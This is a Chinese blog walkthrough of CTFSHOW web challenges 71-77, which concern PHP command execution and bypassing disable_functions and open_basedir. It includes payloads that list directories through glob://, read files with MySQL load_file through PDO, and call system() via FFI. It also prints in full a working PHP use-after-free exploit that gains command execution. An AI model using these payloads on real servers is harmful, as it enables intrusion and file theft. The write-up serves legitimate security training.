CTFSHOW-WEB入门-命令执行71-77
- 题目:web 71
- 题目:

- 解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:c=var_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)
这种情况我也有点懵:后来仔细一看,这里给出了源码:
简要分析以下代码,在执行$c中的代码之后,首先是获取缓存区的内容,然后将其中的数字字母全部换为?,同时清空缓存区,于是这里出现可开头的一幕,全部都是?,那么我们需要在替换之前让其程序结束掉,不进行替换?的操作,这样就可以得到源文本:再次获取根目录内容—添加一个exit()函数或者die()函数均可:
使用include()函数读取:得到flag
- 题目:
- 题目:web 72
- 题目:源码:
题目进入后的报错提示:
- 解题思路:首先沿用上题的思路试一试:查看根目录内容:但是第一步就悲剧:
这段警告是说:scandir()函数尝试访问一个不在open_basedir允许路径内的目录。open_basedir是一个 PHP 配置指令,用于限制 PHP 脚本能够访问的目录。 只有指定的目录才可以访问。于是(1)首要任务变成了要找出flag所在的目录,查找大佬 的wp发现此题可以使用一种新的思路来找目录:利用php伪协议 glob://
- 题目:源码:
<?php
//获取一个DirectoryIterator的对象
//DirectoryIterator 是 PHP 的一个内置类,用于提供一个面向对象的接口来遍历目录。
//glob:// 流包装器:
//glob:// 是 PHP 的一个流包装器,允许你使用与 glob() 函数相同的模式匹配语法来指定文件路径。
//"glob:///*" 意图是匹配根目录下的所有文件和目录。$a = new DirectoryIterator("glob:///*");foreach ($a as $f) {//遍历$a 目录下的所有路径,以字符串的形式打印出来,间隔空格echo ($f->__toString().' ');} exit(0);
?>
1. 找flag所在目录,利用到上述代码:(这里的?>可以不加,因为eval(' ')里面的?>是不会闭合外层函数的,会将里面的内容当作一个完整的PHP代码进行执行)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
通过这种方法我们得到了flag所在目录:
2. 第二步想办法查看flag内容,先用一下include发现不行:这里又是第二个坎,由于include函数被禁了于是,找大佬的wp,得到一个可以执行PHP系统命令的脚本,适用于类unix的系统: 如Linux或macOS
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat flag0.txt");ob_end_flush();
?>
于是将其进行url编码传给c变量:
得到flag:
3. 知识点: 利用glob://协议读取文件目录 利用脚本绕过PHP的限制执行命令
- 题目:web 73
- 题目:

- 解题思路:本题与上一题类似,先采取上一个题目的获取根目录内容,找flag的位置的解法:使用glob伪协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得出flag的位置在根目录下的flagc.txt:
x想方法查看文件内容:include试一试:发现可行:
试一试上一题的脚本:发现被过滤了
(2)另解:这道题过滤没有那么严格,于是可以利用之前的c=var_export(scandir(‘/’));exit();然后使用include或者readgzfile()查看文件也可以。
- 题目:
- 题目:web 74
- 题目:

- 解题思路:先试一试scandir叭:发现被禁了:
只好采用glob协议读取根目录内容:
发现flag的地方之后,想办法读取:使用include() 包含
使用功能类似的表示
- 题目:
1.遍历文件系统
(1) scandir():
功能:返回指定目录中的文件和目录列表。
示例:scandir('../../..');
注意:返回的是文件和目录名的数组,不包括完整路径。
(2) DirectoryIterator 类:
功能:提供了一个面向对象的接口来遍历目录。
示例: php代码:
$iterator = new DirectoryIterator('../../..');
foreach ($iterator as $fileinfo) {if ($fileinfo->isDot()) continue;echo $fileinfo->getFilename() . "\n";
}
注意:提供了更丰富的目录遍历功能,包括过滤和访问文件信息。
2.输出变量信息
(1)var_dump():
功能:输出变量的详细信息,包括类型和值。
示例:var_dump(glob('../../..'.'/*'));
注意:输出格式是为人类阅读设计的,不是合法的PHP代码。
(2)print_r():
功能:以人类可读的格式打印数组或对象。
示例:print_r(glob('../../..'.'/*'));
注意:输出格式更简洁,但同样不是合法的PHP代码。
(3)json_encode():
功能:将PHP变量转换为JSON格式的字符串。
示例:echo json_encode(glob('../../..'.'/*'));
注意:输出是JSON格式的字符串,可以在JavaScript等环境中使用。
1. 于是我们还可以使用echo结合json_encode:c=echo json_encode(glob('../../..'.'/*'));exit();同样得到目录:或者var_export(glob('../../..'.'/*'))----这里使用的是glob()函数然后在利用include或者readgzfile读取文件内容
3. 知识点:查看变量信息的几种表示 1.var_dump()2.var_export() 3.print_r() 4.json_encode()
- 题目:web 75
- 题目:

- 解题思路:先试一下scandir:发现被禁了:
于是再想办法使用glob函数:发现失败了:
说明glob函数被禁用了但是在 PHP 中,<font style="color:rgb(251, 71, 135);">glob</font>函数的行为是独立的,即使<font style="color:rgb(251, 71, 135);">glob</font>函数被禁用,使用<font style="color:rgb(251, 71, 135);">DirectoryIterator</font>和<font style="color:rgb(251, 71, 135);">glob://</font>流也是一种不同的机制,不会直接受到<font style="color:rgb(251, 71, 135);">glob</font>函数禁用的影响。 也就是说我们还可以使用glob协议: c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得到flag的位置:
想办法读取:include ()函数被禁:
想其他办法:readgzfile():也被禁了
思路断了,去看看提示,提示给的第二个payload:上传得到了结果
看看上传的是啥:
- 题目:
try {//创建 PDO 实例, 连接 MySQL 数据库( 主机名 数据库名 用户名 密码)//由于pdo对象提供了可以query()方法可以执行sql语句,于是这里才可以使用load_file函数$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
//这里的数据库名可以用information_schema代替,表示所有数据库
//ctftraining是根据之前ctfshow题目经验推测的//在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。// $row 代表的是字符串的每一行//SELECT load_file("/flag36.txt") 是一个有效的 MySQL 查询,//它请求 MySQL 使用 load_file 函数读取指定路径的文件内容。//这块 SQL 是在 PHP 中编写的,但它的执行是在 MySQL 数据库内部进行的。foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";//输出完一行之后用|隔开}
// 关闭数据库$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}
// 整体逻辑是利用try catch执行一个可能引发错误的语句,如果真的有异常会捕获异常并退出,
// 无异常就正常结束
exit(0);
3. 知识点:利用数据库函数load_file(合法路径)读取文件内容
- 题目:web 76
- 题目:

- 解题思路:采取类似的方法获取flag位置—借助glob协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>得到flag位置:
读取文件内容:试试连接数据库,借助pdo对象的query()函数,使用sql函数load_file:得到结果
- 知识点:与上一题类似,复习巩固
- 题目:
- 题目:web 77
- 题目:

- 解题思路:首先的话,先看看这个根目录的内容:使用glob协议:
发现有两个与flag有关系的文件:flag36.txt和readflag,我们都试着查看一下:借助sql的load_file函数:flag36x.txt内容:
readflag内容:同样的
这个时候发现有点猫腻,应该是这种方法行不通了,有仔细看看题目:发现题目特别说明了php版本是7.4:通过插件查看php版本,确实是7.4以上的
:于是乎上网查看PHP7.4版本以上的命令执行漏洞:找到了一种新思路,由于php7.4以上增加了ffi拓展,这个拓展允许我们直接调用c库里面的函数,甚至可以绕过一些PHP层面的限制,执行c库里面的命令,从而达到命令执行的目的。 - 根据题目给的payload:
这段代码的意思是利用php的ffi拓展,创建一个ffi对象,利用这个对象调用C库里面的system函数,将readflag重定向为1.txt:
代码解析:
- 根据题目给的payload:
- 题目:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,作用是将readflag文件重定向为一个1.txt文件,之前遇到过readflag文件。
//他是一个二进制文件,为可执行文件
$ffi->system($a);//通过$ffi去调用system函数
2. 执行之后发现没有回显,于是就进行访问:
3. 知识点:php7.4的ppi拓展利用[https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187](https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187)1. 本题目使用的是第四点 <font style="color:#0d0016;">利用FFI:cdef 绕过 disabled_function进行rce</font>
相关文章:
CTFSHOW-WEB入门-命令执行71-77
题目:web 71 题目:解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也…...
浅谈《图解HTTP》
感悟 滑至尾页的那一刻,内心突兀的涌来一阵畅快的感觉。如果说从前对互联网只是懵懵懂懂,但此刻却觉得她是如此清晰而可爱的呈现在哪里。 介绍中说,《图解HTTP》适合作为第一本网络协议书。确实,它就像一座桥梁,连接…...
LLMs瞬间获得视觉与听觉感知,无需专门训练:Meta的创新——在图像、音频和视频任务上实现最优性能。
引言: 问题: 当前的多模态任务(如图像、视频、音频描述生成、编辑、生成等)通常需要针对特定任务训练专门的模型,而现有的方法在跨模态泛化方面存在局限性,难以适应新任务。此外,多模态嵌入反演…...
自研有限元软件与ANSYS精度对比-Bar3D2Node三维杆单元模型-央视大裤衩实例
目录 1、“央视大裤衩”自研有限元软件求解 1.1、选择单元类型 1.2、导入“央视大裤衩”工程 1.3、节点坐标定义 1.4、单元连接关系、材料定义 1.5、约束定义 1.6、外载定义 1.7、矩阵求解 1.8、变形云图展示 1.9、节点位移 1.10、单元应力 1.11、节点支反力 2、“…...
kubernetes 高可用集群搭建
在生产环境中部署 Kubernetes 集群时,确保其高可用性(High Availability, HA)是至关重要的。高可用性不仅意味着减少服务中断时间,还能提高系统的稳定性和可靠性。本文将详细介绍如何搭建一个高可用的 Kubernetes 集群,…...
【C++】STL——vector底层实现
目录 💕 1.vector三个核心 💕2.begin函数,end函数的实现(简单略讲) 💕3.size函数,capacity函数的实现 (简单略讲) 💕4.reserve函数实现 (细节…...
数据结构初探:链表之单链表篇
本文图皆为作者手绘,所有代码基于vs2022运行测试 系列文章目录 数据结构初探:顺序表篇 文章目录 系列文章目录前言一、链表基础概念二、链表的分类简化边界条件处理使代码更清晰简洁提高程序稳定性 1.单链表(不带头不循环的单链表);1.1存储结构;1.2准备工作1.3链表增删查改的实…...
介绍一下Mybatis的底层原理(包括一二级缓存)
表面上我们的就是Sql语句和我们的java对象进行映射,然后Mapper代理然后调用方法来操作数据库 底层的话我们就涉及到Sqlsession和Configuration 首先说一下SqlSession, 它可以被视为与数据库交互的一个会话,用于执行 SQL 语句(Ex…...
Linux基础 ——tmux vim 以及基本的shell语法
Linux 基础 ACWING y总的Linux基础课,看讲义作作笔记。 tmux tmux 可以干嘛? tmux可以分屏多开窗口,可以进行多个任务,断线,不会自动杀掉正在进行的进程。 tmux – session(会话,多个) – window(多个…...
64位的谷歌浏览器Chrome/Google Chrome
64位的谷歌浏览器Chrome/Google Chrome 在百度搜索关键字:chrome,即可下载官方的“谷歌浏览器Chrome/Google Chrome”,但它可能是32位的(切记注意网址:https://www.google.cn/...., 即:google.cnÿ…...
jetson编译torchvision出现 No such file or directory: ‘:/usr/local/cuda/bin/nvcc‘
文章目录 1. 完整报错2. 解决方法 1. 完整报错 jetson编译torchvision,执行python3 setup.py install --user遇到报错 running build_ext error: [Errno 2] No such file or directory: :/usr/local/cuda/bin/nvcc完整报错信息如下: (pytorch) nxnx-desktop:~/Do…...
多线程创建方式三:实现Callable接口
实现Callable第三种方式存在的原因 作用:可以返回线程执行完毕后的结果。 前两种线程创建方式都存在的一个问题:假如线程执行完毕后有一些数据需要返回,他们重写的run方法均不能直接返回结果。 如何实现 ● JDK 5.0提供了Callable接口和FutureTask类来…...
Linux下的编辑器 —— vim
目录 1.什么是vim 2.vim的模式 认识常用的三种模式 三种模式之间的切换 命令模式和插入模式的转化 命令模式和底行模式的转化 插入模式和底行模式的转化 3.命令模式下的命令集 光标移动相关的命令 复制粘贴相关命令 撤销删除相关命令 查找相关命令 批量化注释和去…...
Docker技术相关学习二
一、Docker简介 1.Docker之父Solomon Hykes形容docker就像传统的货运集装箱。 2.docker的特点和优势: 轻量级虚拟化:Docker容器相较于传统的虚拟机更加的轻量和高效,能够快速的启动和停止来节省系统资源。 一致性:确保应用程序在不…...
【人工智能】多模态学习在Python中的应用:结合图像与文本数据的深度探索
《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 多模态学习是人工智能领域的一个重要研究方向,旨在通过结合多种类型的数据(如图像、文本、音频等)来提高模型的性能。本文将深入探讨多模…...
【MySQL】常用语句
目录 1. 数据库操作2. 表操作3. 数据操作(CRUD)4. 高级查询5. 索引管理6. 用户与权限7. 数据导入导出8. 事务控制9. 其他实用语句注意事项 如果这篇文章对你有所帮助,渴望获得你的一个点赞! 1. 数据库操作 创建数据库 CREATE DATA…...
Docker网络基础
一、Docker网络基础 1.docker安装后会自动创建3中网络,分别为bridge host none docker network ls 2.docker原生bridge网络: docker安装时会创建一个名为docker0的linux bridge,新建的容器会自动桥接到这个接口 bridge模式下没有公有ip,只有宿主机可以…...
重新刷题求职2-DAY2
977. 有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums,返回 每个数字的平方 组成的新数组,要求也按 非递减顺序 排序。 示例 1: 输入:nums [-4,-1,0,3,10] 输出:[0,1,9,16,100] 解释:平方后…...
[STM32 标准库]EXTI应用场景 功能框图 寄存器
一、EXTI 外部中断在嵌入式系统中有广泛的应用场景,如按钮开关控制,传感器触发,通信接口中断等。其原理都差不多,STM32会对外部中断引脚的边沿进行检测,若检测到相应的边沿会触发中断,在中断中做出相应的处…...
Slint的学习
Slint是什么 Slint是一个跨平台的UI工具包,支持windows,linux,android,ios,web,可以用它来构建申明式UI,后端代码支持rust,c,python,nodejs等语言。 开源地址:https://github.com/slint-ui/slint 镜像地址:https://kkgithub.com/…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
C语言中提供的第三方库之哈希表实现
一. 简介 前面一篇文章简单学习了C语言中第三方库(uthash库)提供对哈希表的操作,文章如下: C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...
DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态
前言 在人工智能技术飞速发展的今天,深度学习与大模型技术已成为推动行业变革的核心驱动力,而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心,系统性地呈现了两部深度技术著作的精华:…...
渗透实战PortSwigger靶场:lab13存储型DOM XSS详解
进来是需要留言的,先用做简单的 html 标签测试 发现面的</h1>不见了 数据包中找到了一个loadCommentsWithVulnerableEscapeHtml.js 他是把用户输入的<>进行 html 编码,输入的<>当成字符串处理回显到页面中,看来只是把用户输…...
